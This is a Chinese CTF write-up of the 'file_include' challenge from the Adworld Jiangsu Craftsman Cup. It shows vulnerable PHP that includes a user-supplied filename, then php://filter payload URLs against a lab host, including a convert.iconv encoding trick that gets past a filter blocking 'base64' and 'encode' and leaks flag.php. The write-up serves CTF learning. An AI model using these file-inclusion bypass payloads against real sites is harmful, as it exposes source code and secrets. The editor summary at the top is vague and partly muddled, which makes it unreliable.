[攻防世界][江苏工匠杯]file_include

攻防,世界,江苏,工匠,file,include · 浏览次数 : 80

小编点评

攻击目标:执行php代码并获得敏感信息 攻击方法:利用file inclusion绕过安全机制,加载恶意文件并获取敏感信息。 漏洞点: 1. 打开靶机时,会执行include filename语句加载恶意文件。 2. 包含语句允许传入参数,我们可以利用此参数注入恶意代码。 解决方案: 1. 使用安全的方式访问目标文件,例如使用GET请求获取文件内容。 2. 对传入的参数进行过滤,防止注入恶意代码。 3. 使用反恶意代码库验证文件内容,确保它为安全文件。 注意: 1. 攻击目标需要有执行php代码的权限。 2. 恶意代码的具体内容取决于攻击者的需求,可以根据实际情况进行修改。

正文

打开靶机url,上来就是代码审计
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

这里有个include filename,题干幼教文件包含,直接运用文件包含的payload试一下,比如:php://filter套路

构造url,执行
http://61.147.171.105:53224/?filename=php://filter/convert.base64-encode/resource=flag.php

返回
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>
do not hack!
既然打出了do not hack,说明存在waf检查,那我们要做的就是如何绕过检查,先试一下究竟是在检查什么
构造url,执行
1. 
http://61.147.171.105:53224/?filename=php://filter/convert.ba1se64-encode/resource=flag.php
2.
http://61.147.171.105:53224/?filename=php://filter/convert.base64-en1code/resource=flag.php
3.
http://61.147.171.105:53224/?filename=php://filter/convert.ba1se64-en1code/resource=flag.php
尝试后,发现 base64 和encode 被过滤
尝试convert.ba1se64-encode 替换,使用convert.iconv.* 绕过
使用方法
convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式,有如下几种;

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
这里需要多试一下,最后尝试
http://61.147.171.105:53224/?filename=php://filter/convert.iconv.UTF-8*.UTF-16*/resource=index.php

返回
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>
��<�?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>
说明这个套路可以
尝试一下flag.php
http://61.147.171.105:53224/?filename=php://filter/convert.iconv.UTF-8*.UTF-16*/resource=flag.php

boom, 得到cyberpeace{054e8c47d7f3684c3022bc1f8313a963}

与[攻防世界][江苏工匠杯]file_include相似的内容:

[攻防世界][江苏工匠杯]file_include

打开靶机url,上来就是代码审计

[攻防世界][江苏工匠杯]unseping

打开靶机对应的url 上来就是代码审计 method =

[攻防世界][江苏工匠杯]easyphp

打开靶机url,上来就代码审计 6000000 && strlen

[攻防世界][Web]PHP2

打开靶机对应的url 就一行字 Can you anthenticate to this website? 第一感觉就需要做目录文件扫描 使用御剑和dirsearch进行扫描,发现一个文件 index.phps 知识点: phps 是php标准中用来表示可以查看的php源文件的约定,不会被服务器执行

[攻防世界][Web]ics-06

打开靶机对应的url,展开是一个网站的样子,其实啥也么有 所有tab都点一遍,发现只有报表中心有内容,url为 http://61.147.171.105:49797/index.php?id=1 猜测这里是题眼,使用burpsuite的intruder直接爆id的值(0-10000) 最后发现id

[攻防世界][Reverse]666

下载附件,是一个可执行的ELF文件666,拖进IDA中查看 main 函数反汇编得到 int __cdecl main(int argc, const char **argv, const char **envp) { char s[240]; // [rsp+0h] [rbp-1E0h] BYRE

[攻防世界][Reverse]xxxorrr

将目标文件拖入IDA 反汇编main函数 __int64 __fastcall main(int a1, char **a2, char **a3) { int i; // [rsp+Ch] [rbp-34h] char s[40]; // [rsp+10h] [rbp-30h] BYREF uns

【Android 逆向】【攻防世界】基础android

1. 下载并安装apk,提示要输入密码 2. apk拖入到jadx中看一下 this.login.setOnClickListener(new View.OnClickListener() { // from class: com.example.test.ctf02.MainActivity.1

【Android 逆向】【攻防世界】android2.0

这是一道纯算法还原题 1. apk安装到手机,提示输入flag,看来输入就是flag 2. jadx 打开apk查看 this.button.setOnClickListener(new View.OnClickListener() { // from class: com.example.test

【Android 逆向】【攻防世界】APK逆向

1. apk安装到手机,提示输入flag 2. jadx打开apk 定位到checkSN方法 public boolean checkSN(String userName, String sn) { if (userName != null) { try { if (userName.length(